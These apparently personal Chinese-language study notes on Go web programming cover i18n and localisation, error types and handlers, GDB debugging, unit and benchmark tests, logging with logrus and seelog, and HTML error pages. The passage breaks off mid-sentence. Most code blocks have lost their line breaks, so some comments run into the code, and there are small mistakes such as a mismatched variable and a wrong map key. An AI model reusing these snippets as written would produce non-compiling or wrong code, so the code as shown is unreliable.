Accept-Language 例如利用http請求頭中的語言設置參數,一般瀏覽器都有該字段

客戶端請求的時候在http頭信息里有Accept-Language,我們可以通過這個來做判斷

AL := r.Header.Get("Accept-Language") if AL == "en" {i18n.SetLocale("en") } else if AL == "zh-CN" {i18n.SetLocale("zh-CN") } else if AL == "zh-TW" {i18n.SetLocale("zh-TW") }

不過在實際引用中,也可以更加嚴格的判斷來進行設置地區

IP,我們根據相應的IP庫，對應訪問的IP到地區，目前全球比較常用的就是GeoIP Lite Country這個庫
用戶的profile,我們可以讓用戶根據我提供的選項自行選擇自己的語言,我們將其設置到用戶賬戶相關的的profile中,用戶再次登錄的時候我們就把這個設置復寫到locale設置中.

我們目前用的國際化是,用戶首次訪問的時候通過Accept-Language來判斷用戶語言,將用戶語言設置在cookie中,同時在網頁頭部列出平臺支持的語言,以供用戶選擇切換

用戶如果選擇切換語言,我們會在URL中帶參locale=zh_CN,在路由中匹配該參數,設置用戶的語言.

本地化資源

設置好locale之后我們需要做的就是如何存儲相應的Locale對應的信息呢,這里面包括,文本信息,時間日期,貨幣值,視圖資源,圖片,包含文件等等.在Go語言中我們把這些格式信息存儲在JSON中，然后通過合適的方式展現出來。

本地化文本信息

文本新式是編寫web應用最常用到的,也是本地化資源中最多的信息.

建立需要的語言相應的map來維護一個key-value的關系，在輸出之前按需從適合的map中去獲取相應的文本

package mainimport "fmt"var locales map[string]map[string]stringfunc main() {//聲明一個多維的maplocales = make(map[string]map[string]string, 2)//在多維map中追加一個英文map,隨后向該map田中對應的英文內容en := make(map[string]string, 10)en["pea"] = "pea"en["bean"] = "bean"locales["en"] = en//在多維map中追加一個中文map,隨后向該map田中對應的中文內容cn := make(map[string]string, 10)cn["pea"] = "豌豆"cn["bean"] = "毛豆"locales["zh-CN"] = cnlang := "zh-CN"//獲取map中的信息fmt.Println(msg(lang, "pea"))fmt.Println(msg(lang, "bean")) }func msg(locale, key string) string {if v, ok := locales[locale]; ok {if v2, ok := v[key]; ok {return v2}}return "" }

上面展示了通過下標來去翻譯內容的處理方式,但是有時候key-value方式并不能滿足需要

比如I am 30 years old,這里這個30可能會改變的,這時候我們可以利用fmt.Printf()函數來實現

en["how old"] ="I am %d years old" cn["how old"] ="我今年%d歲了"fmt.Printf(msg(lang, "how old"), 30)

本地化日期和時間

因為時區的關系,同一時刻,在不同地區,標識是不一樣的,而且應為文化不同,每個地方的時間顯示格式也不同

例如中文環境下可能顯示：2012年10月24日星期三 23時11分13秒 CST，而在英文環境下可能顯示:Wed Oct 24 23:11:13 CST 2012

這里面我們需要解決兩點:

時區問題
格式問題

$GOROOT/lib/time包中的timeinfo.zip含有locale對應的時區的定義,為了獲得對應于當前的locale的時間 ,我們首先使用time.LoadLocaltion(name string)獲取響應地區的locale,比如Asia/Shang或者America/Chicago對應的時區信息,再利用此信息與調用time.Now獲得的Time對象協作來獲得最終的時間

en["time_zone"]="America/Chicago" cn["time_zone"]="Asia/Shanghai" locale,_:=time.LoadLocation(msg(lang,"time_zone")) t:=time.Now() t =t.In(loc) fmt.Println(t.Format(time.RFC3339))

我們也可以通過類似文本處理的方式來解決時間格式的問題

en["date_format"]="%Y-%m-%d %H:%M:%S" cn["date_format"]="%Y年%m月%d日 %H時%M分%S秒"fmt.Println(date(msg(lang,"date_format"),t))func date(fomate string,t time.Time) string{year, month, day = t.Date()hour, min, sec = t.Clock()//解析相應的%Y %m %d %H %M %S然后返回信息//%Y 替換成2012//%m 替換成10//%d 替換成24 }

本地化貨幣值

各個地區的貨幣表示格式也不一樣,處理方式和日期和差不多

en["money"] ="USD %d" cn["money"] ="￥%d元"fmt.Println(money_format(msg(lang,"date_format"),100))func money_format(fomate string,money int64) string{return fmt.Sprintf(fomate,money) }

本地化視圖和資源

有時候我們會需要根據不同的locale來展示不同的視圖,這些視圖,可能會包含不同的圖片,CSS,JS等各種靜態資源.

例如我們的目錄是這樣的:

有了這個目錄結構后我們就可以在渲染的地方這樣來實現代碼：

view, _ := template.ParseFiles("views/"+lang+"/index.tpl") VV.Lang=lang view.Execute(os.Stdout, VV)

而對于里面的header.tpl里面的資源設置如下：

// js文件 <script type="text/javascript" src="views/{{.Lang}}/js/jquery/jquery-1.8.0.min.js"></script> // css文件 <link href="views/{{.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet"> // 圖片文件 <img src="views/{{.Lang}}/images/btn.png">

國際化站點

//todo 如果要處理多個本地化資源,而對于我們常用到的,例如簡答的文本翻譯,時間日期,日子等處理.

都可以像下面這樣處理

管理多個本地包

錯誤處理(調試和測試)

錯誤處理

在C語言中,通常返回-1或者NULL之類信息來標識錯誤,但是對我們使用者而言,如果看API文檔,根本就不知道返回這代表了什么.

所以go定義了一個叫做error類型來顯式的表達錯誤,在我們使用時把返回的error變量和nil做比較,來判斷操作是否成功.一般的函數都會這么設計,其實包括我們自己,很多時候也會這么設計

例如os.Open()函數在打開文件失敗時將返回一個部位nil的error變量

func Open(name string) (file *File, err error)

我們調用os.Open打開一個文件,如果失敗則會調用log.Fatal來輸出錯誤信息

f, err := os.Open("nihao.txt") if err != nil {log.Fatal(err) }

類似于os.Open函數,標準包中所有可能會出錯的API都會返回一個error變量,以便錯誤處理

Error類型

error類型是一個接口類型,這是他的定義:

type error interface {Error() string }

error 是一個內置的接口類型,我們可以在/builtin包下面找到相應的定義,而且我們在很多內部包里面用到的error是errors包下的實現的私有結構errorString

//errorString是一個簡單的錯誤實現。 type errorString struct {s string }func (e *errorString) Error() string {return e.s }

我們可以通過errors.New把一個字符串轉化為errorString,以滿足接口error的對象,其內部實現如下:

// New返回格式化為指定文本的錯誤。 func New(text string) error {return &errorString{text} }

下面例子展示了如何使用errors.New:

func Sqrt(f float64) (float64, error) {if f < 0 {return 0, errors.New("math: square root of negative number")}// 實現 }

下面的例子,我們調用Sqrt的時候傳遞一個附屬,然后Juin得到了non-nil的error對象,將此對象和nil比較,結果為true.所以fmt.Println(fmt包在處理error時會調用ERROR方法)被調用,以輸出錯誤

f, err := Sqrt(-1) if err != nil {fmt.Println(err) }

自定義Error

我們知道error是一個interface,所以在實現我們自己的包的時候,通過定義實現此接口的結構,我們就可以實現自己的錯誤定義

下面是JSON包的示例

type SyntaxError struct {msg string // 錯誤描述Offset int64 // 錯誤發生的位置 }func (e *SyntaxError) Error() string { return e.msg }

Offset字段在調用Eerror的時候不會被打印,但是我們可以通過類型斷言獲取錯誤類型,然后可以打印相應的錯誤信息

if err := dec.Decode(&val); err != nil {if serr, ok := err.(*json.SyntaxError); ok {line, col := findLine(f, serr.Offset)return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err)}return err }

需要注意的時,函數返回自定義錯誤時,返回推薦設置為error類型,而非自定義錯誤類型,特別注意的時不要預聲明自定義錯誤類型的變量

// 錯誤，將可能導致上層調用者err!=nil的判斷永遠為true。 func Decode() *SyntaxError { // 預聲明錯誤變量var err *SyntaxError if 出錯條件判斷 {err = &SyntaxError{}}// 錯誤，err永遠等于非nil，導致上層調用者err!=nil的判斷始終為truereturn err }

如果我們需要更加復雜的錯誤處理,可以參考一下net包的寫法

package nettype Error interface {errorTimeout() bool // Is the error a timeout?Temporary() bool // Is the error temporary? }

在調用的地方,通過類型斷言err是不是net.Error,來細化錯誤的處理,

就像下面,如果一個網絡發生臨時性錯誤,那么會sleep 1秒之后重啟

if nerr, ok := err.(net.Error); ok && nerr.Temporary() {time.Sleep(1e9)continue } if err != nil {log.Fatal(err) }

錯誤處理

go在錯誤處理上采用了和C類似的檢查返回值的方式,而不是其他語言中的那種異常方式.

這就造成了編寫上的一個很大的缺點,錯誤處理代碼的冗余,這種情況我們只能通過復用檢測函數來減少類似的代碼

func init() {http.HandleFunc("/view", viewRecord) }func viewRecord(w http.ResponseWriter, r *http.Request) {c := appengine.NewContext(r)key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)record := new(Record)if err := datastore.Get(c, key, record); err != nil {http.Error(w, err.Error(), 500)return}if err := viewTemplate.Execute(w, record); err != nil {http.Error(w, err.Error(), 500)} }

可以看到,上面的例子中獲取數據和獲取模板展示調用時都會有檢查錯誤,當有錯誤發生時.調用統一的處理函數http.Error,返回給客戶端500錯誤代碼,并顯示相應的錯誤數據.

但是當越累越多的HandleFunc加入之后,這樣的錯誤邏輯代碼就會越來越多,我們可以通過自定義路由來縮減代碼

type appHandler func(http.ResponseWriter, *http.Request) errorfunc (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {if err := fn(w, r); err != nil {http.Error(w, err.Error(), 500)} }

上面我們定義了自定義的路由器，然后我們可以通過如下方式來注冊函數：

func init() {http.Handle("/view", appHandler(viewRecord)) }

當請求/view的時候我們的邏輯處理可以變成如下代碼，和第一種實現方式相比較已經簡單了很多。

func viewRecord(w http.ResponseWriter, r *http.Request) error {c := appengine.NewContext(r)key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)record := new(Record)if err := datastore.Get(c, key, record); err != nil {return err}return viewTemplate.Execute(w, record) }

上面的錯誤處理時,所有錯誤返回給用戶的都是500錯誤碼,我們可以把錯誤信息處理的更加友好

type appError struct {Error errorMessage stringCode int }

這樣我們的自定義路由器可以改成如下方式：

type appHandler func(http.ResponseWriter, *http.Request) *appErrorfunc (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {if e := fn(w, r); e != nil { // e is *appError, not os.Error.c := appengine.NewContext(r)c.Errorf("%v", e.Error)http.Error(w, e.Message, e.Code)} }

這樣修改完自定義錯誤之后，我們的邏輯處理可以改成如下方式：

func viewRecord(w http.ResponseWriter, r *http.Request) *appError {c := appengine.NewContext(r)key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)record := new(Record)if err := datastore.Get(c, key, record); err != nil {return &appError{err, "Record not found", 404}}if err := viewTemplate.Execute(w, record); err != nil {return &appError{err, "Can't display record", 500}}return nil }

在我們訪問view的時候可以根據不同的情況獲取不同的錯誤碼和錯誤信息，雖然這個和第一個版本的代碼量差不多，但是這個顯示的錯誤更加明顯，提示的錯誤信息更加友好，擴展性也比第一個更好。

使用GDB調試

go語言不像PHP等動態語言一樣,只要修改不需要編譯就可以直接輸出,而且可以動態的在開發環境下打印數據.雖然go語言也有Println之類的打印數據來調試,但是每次都要重新編譯.

go內部已經內置支持了GDB，所以，我們可以通過GDB來進行調試

注意,在Mac下運行gdb ./文件名的時候需要,需要使用root執行,我的Mac環境有問題,導致最終也無法執行,所以這里測試的這個我當時沒正確的做,只敲了一邊.

GDB調試簡介

GDB是FSF(自由軟件基金會)發布的一個強大的類UNIX系統下的程序調試工具。使用GDB可以做如下事情：

啟動程序，可以按照開發者的自定義要求運行程序。
可讓被調試的程序在開發者設定的調置的斷點處停住。（斷點可以是條件表達式）
當程序被停住時，可以檢查此時程序中所發生的事。
動態的改變當前程序的執行環境。

目前支持調試Go程序的GDB版本必須大于7.1。

編譯Go程序的時候需要注意以下幾點

傳遞參數-ldflags "-s"，忽略debug的打印信息
傳遞-gcflags "-N -l" 參數，這樣可以忽略Go內部做的一些優化，聚合變量和函數等優化，這樣對于GDB調試來說非常困難，所以在編譯的時候加入這兩個參數避免這些優化。

常用命令

GDB常用命令

簡寫命令是l,用來顯示源碼,默認顯示10行代碼,后面可帶上參數顯示的具體行

例如顯示20行list 20,顯示10行,其中第20行在顯示的10行里的中間位置

break

簡寫命令是b,用來設置斷點,后面跟上參數設置斷點的行數,例如b 10在第十行設置斷點

delete

簡寫命令時d,用來刪除斷點,后面要跟上斷點設置的序號,這個序號可以通過info breakpoints獲取相應設置的斷點需要,就像下面是顯示的設置斷點的需要

Num Type Disp Enb Address What2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23breakpoint already hit 1 time

backtrace

簡寫命令時bt,用來打印執行的代碼過程,如下所示

#0 main.main () at /home/xiemengjun/gdb.go:23#1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244#2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267#3 0x0000000000000000 in ?? ()

info

info命令用來顯示信息,后面有幾種參數,我們常用的有如下幾種:

info locals 顯示當前執行的程序中的變量值

info breakpoints 顯示當前設置的斷點列表

info goroutines 顯示當前執行的goroutine列表，如下代碼所示,帶*的表示當前執行的

* 1 running runtime.gosched* 2 syscall runtime.entersyscall3 waiting runtime.gosched4 runnable runtime.gosched

簡寫命令是p,用來打印變量或其他信息,后面跟上需要打印的變量名,當然還有一些很有用的函數$len()和$cap(),用來返回當前string,slices或者maps的長度和容量

whatis

用來顯示當前變量的類型,后面跟上變量名,例如whatis msg,顯示如下:

type = struct string

簡寫命令是n,用來單步測試,調到下一步,當有斷點之后,可以輸入n跳轉到下一步繼續執行

continue

簡稱命令c, 用來跳出當前斷點處,后面可以跟參數N,跳過多少次斷點

set variable

該命令用來改變運行過程中的變量值,格式如set variable <var>=<value>

調試過程

我們通過下面的代碼來調試go程序

package mainimport ("fmt""time" )func counting(c chan<- int) {for i := 0; i < 10; i++ {time.Sleep(2 * time.Second)c <- i}close(c) }func main() {msg := "Starting main"fmt.Println(msg)bus := make(chan int)msg = "starting a gofunc"go counting(bus)for count := range bus {fmt.Println("count:", count)} }

編譯文件，生成可執行文件gdbfile:

go build -gcflags "-N -l" gdbfile.go

通過gdb命令啟動調試：

gdb gdbfile

只要輸入run命令回車后程序就開始運行

如果在Mac中執行,此處需要使用sudu調用root運行,否則會暴如下錯誤

(gdb) run Starting program: /Users/liuhao/go/src/web/errors/nihao Unable to find Mach task port for process-id 56573: (os/kern) failure (0x5).(please check gdb is codesigned - see taskgated(8))

程序正常的話可以看到程序輸出如下

(gdb) run Starting program: /home/xiemengjun/gdbfile Starting main count: 0 count: 1 count: 2 count: 3 count: 4 count: 5 count: 6 count: 7 count: 8 count: 9 [LWP 2771 exited] [Inferior 1 (process 2771) exited normally]

接下來開始給代碼設置斷點：

(gdb) b 23 Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. (gdb) run Starting program: /home/xiemengjun/gdbfile Starting main [New LWP 3284] [Switching to LWP 3284]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 23 fmt.Println("count:", count)

上面例子b 23表示在第23行設置了斷點，之后輸入run開始運行程序。現在程序在前面設置斷點的地方停住了，我們需要查看斷點相應上下文的源碼，輸入list就可以看到源碼顯示從當前停止行的前五行開始：

(gdb) list 18 fmt.Println(msg) 19 bus := make(chan int) 20 msg = "starting a gofunc" 21 go counting(bus) 22 for count := range bus { 23 fmt.Println("count:", count) 24 } 25 }

現在GDB在運行當前的程序的環境中已經保留了一些有用的調試信息，我們只需打印出相應的變量，查看相應變量的類型及值：

(gdb) info locals count = 0 bus = 0xf840001a50 (gdb) p count $1 = 0 (gdb) p bus $2 = (chan int) 0xf840001a50 (gdb) whatis bus type = chan int

接下來該讓程序繼續往下執行，請繼續看下面的命令

(gdb) c Continuing. count: 0 [New LWP 3303] [Switching to LWP 3303]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 23 fmt.Println("count:", count) (gdb) c Continuing. count: 1 [Switching to LWP 3302]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 23 fmt.Println("count:", count)

每次輸入c之后都會執行一次代碼，又跳到下一次for循環，繼續打印出來相應的信息。

設想目前需要改變上下文相關變量的信息，跳過一些過程，并繼續執行下一步，得出修改后想要的結果：

(gdb) info locals count = 2 bus = 0xf840001a50 (gdb) set variable count=9 (gdb) info locals count = 9 bus = 0xf840001a50 (gdb) c Continuing. count: 9 [Switching to LWP 3302]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 23 fmt.Println("count:", count)

通過查看goroutines的命令我們可以清楚地了解goruntine內部是怎么執行的，每個函數的調用順序已經明明白白地顯示出來了。

(gdb) info goroutines * 1 running runtime.gosched * 2 syscall runtime.entersyscall 3 waiting runtime.gosched 4 runnable runtime.gosched (gdb) goroutine 1 bt #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 #6 0x0000000000000000 in ?? ()

測試用例

go語言中自帶一個輕量級的測試框架testing和自帶的go test命令來實現單元測試和性能測試,testing框架和其他語言中的測試框架類似,我們可以基于這個框架寫針對相應函數的測試用例,也可以基于該框架寫相應的壓力測試用例

另外,建議安裝gotests插件自動生成測試代碼,后面的三個點就是這樣

有可能會因為被墻而導致無法下載,自己想辦法吧.

go get -u -v github.com/cweill/gotests/...

如何編寫測試用例

由于go test命令只能在一個相應的目錄下執行所有文件,所以我們要新建一個項目,報我們所有的代碼和測試代碼都放在這個目錄下面

接下來我們在該目錄下創建兩個文件,一個gotest.go和gotest_test.go

gotest.go,沒什么東西,只有一個函數實現了除法

package gotestimport ("errors")func Div(a, b float64) (float64, error) {if b == 0 {return 0, errors.New("除數不能為0")}return a / b, nil}

gotest_test.go:這是我們的單元測試文件，但是記住

文件名必須是_test.go結尾的,這樣在執行go test的時候才會執行到相應的代碼
必須import testing這個包
所有的測試用例函數,必須是Test開頭
測試用例會按照源代碼中寫的順序依次執行
測試函數TestXxx()的參數是testing.T,我們可以使用該類型來記錄錯誤或者測試錯誤狀態
測試格式:func TestXxx(t *testing.T),這里的xxx可以為任意的字母或數字組合,但是首字母不能是小寫字母[a-z]，例如Testintdiv是錯誤的函數名。
函數中通過調用testing.T的錯誤Error, Errorf, FailNow, Fatal, FatalIf方法,說明測試不通過,調用Log方法來記錄測試的信息

下面是測試用例的代碼

package gotestimport ("testing" )//第一個測試函數 func Test_Div_1(t *testing.T) {if i, e := Div(6, 2); i != 3 || e != nil { //try a unit test on functiont.Error("除法函數測試沒通過") // 如果結果不是想要的,就直接報錯就行} else {t.Log("第一個測試通過了") //這里可以記錄一些我們期望的信息} }//第二個測試函數 func Test_Div_2(t *testing.T) {t.Error("就是不讓通過") }

這時候我們執行go test -v因為go test成功的部分只會顯示一個OK

~/go/src/web/test on  master! ? 23:41:21 $ go test -v === RUN Test_Div_1 --- PASS: Test_Div_1 (0.00s)gotest_test.go:11: 第一個測試通過了 === RUN Test_Div_2 --- FAIL: Test_Div_2 (0.00s)gotest_test.go:16: 就是不讓通過 FAIL exit status 1 FAIL web/test 0.006s

我們看到測試函數1Test_Div_1測試通過，而測試函數2Test_Div_2測試失敗了.

接下來我們把測試函數2修改成如下代碼：

func Test_Div_2(t *testing.T) {//將除數設置為0肯定會報錯if _, e := Div(6, 0); e == nil {t.Error("2測試失敗") // 如果不是如預期的那么就報錯} else {t.Log("2測試通過", e) //記錄一些你期望記錄的信息} }

然后我們執行go test -v，就顯示如下信息，測試通過了：

~/go/src/web/test on  master! ? 23:41:22 $ go test -v === RUN Test_Div_1 --- PASS: Test_Div_1 (0.00s)gotest_test.go:11: 第一個測試通過了 === RUN Test_Div_2 --- PASS: Test_Div_2 (0.00s)gotest_test.go:22: 2測試通過除數不能為0 PASS ok web/test 0.006s

如何編寫壓力測試

壓力測試,和編寫單元測試的方法類似,,但是要注意幾點:

壓力測試用例必須遵循下面的格式,其中XXX可以是任意字母數字組合,但是首字母必須大寫

func BenchmarkXXX(b *testing.B) { ... }

go test不會默認執行壓力測試函數,如果要執行壓力測試需要帶上參數-test.bench,語法:test.bench="test_name_regex",例如go test -test.bench=".*"表示測試當前目錄下全部的壓力測試函數
在壓力測試用例中,請記得在循環體內使用testing.B.N,以使測試可以正常的運行
文件名也必須以_test.go結尾

準別壓力測試文件bench_test.go

package gotestimport ("testing" )func Benchmark_Division(b *testing.B) {//b.N可以直接設置,比如b.N=100for i := 0; i < b.N; i++ { //use b.N for loopingDiv(4, 5)} }func Benchmark_TimeConsumingFunction(b *testing.B) {b.StopTimer() //調用該函數停止壓力測試的時間計數//b.N可以直接設置,比如b.N=100//做一些初始化的工作,例如讀取文件數據,數據庫連接之類的,//這樣這些時間不影響我們測試函數本身的性能b.StartTimer() //重新開始時間for i := 0; i < b.N; i++ {Div(4, 5)} }

執行結果過

$ go test -test.bench=".*" ./gotest.go ./bench_test.go goos: darwin goarch: amd64 //執行了2000000000次,每次平均時間是0.32納秒 Benchmark_Division-8 2000000000 0.32 ns/op //執行了2000000000次,每次平均時間是0.32納秒 Benchmark_TimeConsumingFunction-8 2000000000 0.32 ns/op PASS ok command-line-arguments 1.350s

必須要注意的是:

如果我們在當前目錄使用go test或者go test -test.bench=".*"的話會測試當前目錄下所有的程序,這是沒問題的.

但是如果我們執行go test ./gotest_test.go或者go test ./bench_test.go -test.bench=".*" 是會報錯的,提示里面調用的包不存在,所以我們要同時把源文件和測試文件同時引入,例如$ go test -test.bench=".*" ./gotest.go ./bench_test.go

部署與維護

這里主要是介紹

如何在生產服務上記錄程序產生的日志，如何記錄日志
發生錯誤時應該如何處理,如何保證盡量少的影響到用戶的訪問
如何部署go的獨立程序,因為go目前還無法像C那樣協程daemon
介紹應用數據的備份和恢復

應用日志

go語言中提供了一個簡單的log包,我們使用該包可以方便的實現日志記錄功能.

這些日志都是基于fmt包的打印再結合panic之類的函數來進行一般的打印,拋出錯誤的處理

go目前標準包只是,包含了簡單的功能,如果我們想把我們的應用日志保存到文件,然后又能夠結合日志實現復雜的功能,可以使用第三方的包的日志系統:logrus和seelog

logrus介紹

logrus是用go語言實現的一個日志系統,與標準款log完全兼容并且核心API很穩定,是目前go中最活躍的日志庫

安裝

這里需要翻墻,一部分依賴包因為要走google官方,否則會報錯 //package golang.org/x/sys/unix: unrecognized import path "golang.org/x/sys/unix" (https fetch: Get https://golang.org/x/sys/unix?go-get=1: dial tcp 216.239.37.1:443: i/o timeout)

go get -u github.com/sirupsen/logrus

簡單的例子

package mainimport (log "github.com/Sirupsen/logrus" )func main() {//記錄日志log.WithFields(log.Fields{"animal": "walrus",}).Info("A walrus appears") }

基于logrus的自定義日志處理

六種日志級別：

logrus.Debug("Useful debugging information.")
logrus.Info("Something noteworthy happened!")
logrus.Warn("You should probably take a look at this.")
logrus.Error("Something failed but I'm not quitting.")
logrus.Fatal("Bye.") //log之后會調用os.Exit(1)
logrus.Panic("I'm bailing.") //log之后會panic()

package mainimport ("os"log "github.com/Sirupsen/logrus" )func init() {// 設置日志格式化為JSON而不是默認的ASCIIlog.SetFormatter(&log.JSONFormatter{})// 設置輸出stdout而不是默認的stderr，也可以是一個文件// 為當前logrus實例設置消息的輸出，同樣地，// 可以設置logrus實例的輸出到任意io.writerlog.SetOutput(os.Stdout)// 設置只記錄嚴重或以上警告,這里如果要設置其他級別,直接點進去看就行了,錯誤級別這種東西都很直觀log.SetLevel(log.WarnLevel) }func main() {//下面全是用來記錄日志的log.WithFields(log.Fields{"animal": "walrus","size": 10,}).Info("A group of walrus emerges from the ocean")log.WithFields(log.Fields{"omg": true,"number": 122,}).Warn("The group's number increased tremendously!")log.WithFields(log.Fields{"omg": true,"number": 100,}).Fatal("The ice breaks!")// 通過日志語句重用字段// logrus.Entry返回自WithFields()contextLogger := log.WithFields(log.Fields{"common": "this is a common field","other": "I also should be logged always",})contextLogger.Info("I'll be logged with common and other field")contextLogger.Info("Me too") }

seelog介紹

seelog也是一個用go語言實現的日志系統,他提供了一些簡單的函數但是實現了復雜的,日志分配,過濾和格式化,主要特性:

XML的動態配置,可以不用重新編譯程序而動態的加載配置信息
支持熱更新,能夠動態改變配置而不需要重啟應用
支持多輸出流,能夠同時把日志輸出到多種流中,例如文件流,網絡流等.
支持不同的日志輸出方式
- 命令行輸出
- 文件輸出
- 緩存輸出
- 支持log rotate
- SMTP郵件

安裝seelog

go get -u github.com/cihub/seelog

一個簡單的例子

//運行如果出現了Hello from seelog，說明seelog日志系統已經成功安裝并且可以正常運行了。 package mainimport log "github.com/cihub/seelog"func main() {//這里這個defer,很妙defer log.Flush()log.Info("Hello from Seelog!") }

seelog支持自定義日志處理

這里運行的時候又出現一個錯誤,非常難搞,建議開代理別費事../github.com/Sirupsen/logrus/terminal_check_bsd.go:5:8: cannot find package "golang.org/x/sys/unix" in any of: /usr/local/Cellar/go/1.11.2/libexec/src/golang.org/x/sys/unix (from $GOROOT) /Users/liuhao/go/src/golang.org/x/sys/unix (from $GOPATH)

下面這個主要是實現了三個函數:

DisableLog 初始化全局變量Logger為seelog的禁用狀態，主要為了防止Logger被多次初始化
loadAppConfig 根據配置文件初始化seelog的配置信息，這里我們把配置文件通過字符串讀取設置好了，也可以通過讀取XML文件。里面的配置說明如下：
- seelog minlevel參數可選，如果被配置,高于或等于此級別的日志會被記錄，同理maxlevel。
- outputs 輸出信息的目的地，這里分成了兩份數據，一份記錄到log rotate文件里面。另一份設置了filter，如果這個錯誤級別是critical，那么將發送報警郵件。
- formats 定義了各種日志的格式
UseLogger 設置當前的日志器為相應的日志處理

package logsimport (// "errors""fmt"// "io""github.com/cihub/seelog" )var Logger seelog.LoggerInterfacefunc loadAppConfig() {appConfig := ` <seelog minlevel="warn"><outputs formatid="common"><rollingfile type="size" filename="/data/logs/roll.log" maxsize="100000" maxrolls="5"/><filter levels="critical"><file path="/data/logs/critical.log" formatid="critical"/><smtp formatid="criticalemail" senderaddress="astaxie@gmail.com" sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username="mailusername" password="mailpassword"><recipient address="xiemengjun@gmail.com"/></smtp></filter></outputs><formats><format id="common" format="%Date/%Time [%LEV] %Msg%n" /><format id="critical" format="%File %FullPath %Func %Msg%n" /><format id="criticalemail" format="Critical error on our server!\n %Time %Date %RelFile %Func %Msg \nSent by Seelog"/></formats> </seelog> `logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig))if err != nil {fmt.Println(err)return}UseLogger(logger) }func init() {DisableLog()loadAppConfig() }// DisableLog禁用所有庫日志輸出 func DisableLog() {Logger = seelog.Disabled }// UseLogger使用指定的seelog。輸出庫日志的LoggerInterface。 //如果在應用程序中使用Seelog日志系統，請使用這個函數。 func UseLogger(newLogger seelog.LoggerInterface) {Logger = newLogger }//調用錯誤處理 func main() {err := "Info: 錯誤信息"Logger.Info("Start server at:%v", err)err = "Critical: 錯誤信息"Logger.Critical("Server err:%v", err) }

發生錯誤發送郵件

下面通過smtp配置來發送郵件:

郵件的格式通過criticalemail配置
通過其他的配置發送郵件服務器的配置
通過recipient配置接收郵件的用戶,如果有多個用戶可以再添加一行。

要測試成功與否,可以在代碼中增加類似下面的一個假消息(上線前記得刪除)

logs.Logger.Critical("test Critical message")

使用應用日志

比如,我們需要跟蹤用戶嘗試登陸系統的操作,這時候我們會把成功的和不成功的都記錄下來.

成功的則用info日志級別進行記錄
失敗的則用warn級別來記錄

如果我們要查詢登陸失敗的用戶只需要grep一下就行了,其實最好的方式是把不同的錯誤記錄,分別存儲在不同的地方

# cat /data/logs/roll.log | grep "failed login" 2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password

網站錯誤處理

我們的項目一旦上線,各種錯誤都有可能出現,比如:

數據庫錯誤, 指操作數據庫時發生的錯誤。比如:
- 連接錯誤, 這一類錯誤可能是數據庫服務器網絡斷開、用戶名密碼不正確、或者數據庫不存在
- 查詢錯誤, 使用的SQL非法導致錯誤,嚴格篩選SQL即可避免
- 數據錯誤, 數據庫中的約束沖突，例如一個唯一字段插入一條重復主鍵就會報錯,嚴格測試就可以避免
應用運行時錯誤：這類錯誤范圍很廣,這類錯誤幾乎涵蓋了代碼中所有的錯誤
- 文件系統和權限：應用讀取不存在的文件,或者讀取/寫入沒有權限的文件都會導致一個錯誤,讀取格式不對也會報錯,比如,配置文件應該是ini,而設置成了json就會報錯.
- 第三方應用：：如果我們使用了其他第三方接口程序,
HTTP錯誤：這些錯誤都是根據用戶的請求錯誤出現的錯誤,比如403,404,503等
操作系統出錯：都是由于應用程序上的操作系統出現錯誤引起的,比如,操作系統的資源被分配光了,還有操作系統磁盤滿了, 導致無法寫入,等等.
網絡出錯：指兩方面的錯誤,一方面是用戶請求時出現網絡斷開,這雖然不會導致web程序崩潰,但是影響用戶體驗.另一方面是應用程序讀取其他網絡上的數據，其他網絡斷開會導致讀取失敗.

錯誤處理的目標

通知訪問用戶出現錯誤了
記錄錯誤
回滾當前的請求操作
保證現有程序可運行可服務

如何處理錯誤

通知用戶出現錯誤：

通知用戶訪問頁面錯誤時可以用：404.html和error.html：

404頁面

<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>找不到頁面</title><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><div class="container"><div class="row"><div class="span10"><div class="hero-unit"><h1>404!</h1><p>{{.ErrorInfo}}</p></div></div></div></div></body></html>

error頁面

<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>系統錯誤頁面</title><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><div class="container"><div class="row"><div class="span10"><div class="hero-unit"><h1>系統暫時不可用!</h1><p>{{.ErrorInfo}}</p></div></div></div></div></body></html>

404的錯誤處理邏輯，如果是系統的錯誤也是類似的操作，同時我們看到在：

